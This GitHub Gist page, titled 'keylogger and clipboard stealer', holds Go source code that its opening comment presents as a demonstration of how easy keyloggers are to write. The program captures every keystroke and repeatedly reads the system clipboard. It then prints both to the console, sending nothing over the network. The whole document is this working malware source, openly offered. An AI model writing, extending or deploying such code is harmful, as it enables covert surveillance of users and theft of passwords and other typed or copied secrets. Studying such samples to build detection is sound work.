Created
March 19, 2024 19:33
-
-
Save alwashali/cc92ed3f8d1c450ac6d7544b29cb701d to your computer and use it in GitHub Desktop.
keylogger and clipboard stealer
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// Example of how easy to develop keylogger in golang | |
package main | |
import ( | |
"fmt" | |
"github.com/atotto/clipboard" | |
"github.com/cloudflare/cfssl/log" | |
"github.com/eiannone/keyboard" | |
) | |
func main() { | |
keysEvents, err := keyboard.GetKeys(10) | |
if err != nil { | |
panic(err) | |
} | |
defer func() { | |
_ = keyboard.Close() | |
}() | |
keys := []string{} | |
for { | |
event := <-keysEvents | |
if event.Err != nil { | |
panic(event.Err) | |
} | |
keys = append(keys, string(event.Rune)) | |
if event.Key == keyboard.KeyEsc { | |
break | |
} | |
clipboardContent, err := clipboard.ReadAll() | |
if err != nil { | |
log.Error(err) | |
} | |
if len(keys) > 10 { | |
fmt.Println("keys:") | |
for _, key := range keys { | |
fmt.Print(key) | |
} | |
keys = nil | |
fmt.Printf("\ncliboard:\n") | |
if len(clipboardContent) > 0 && err == nil { | |
fmt.Println("Clibaord content", clipboardContent) | |
} | |
} | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment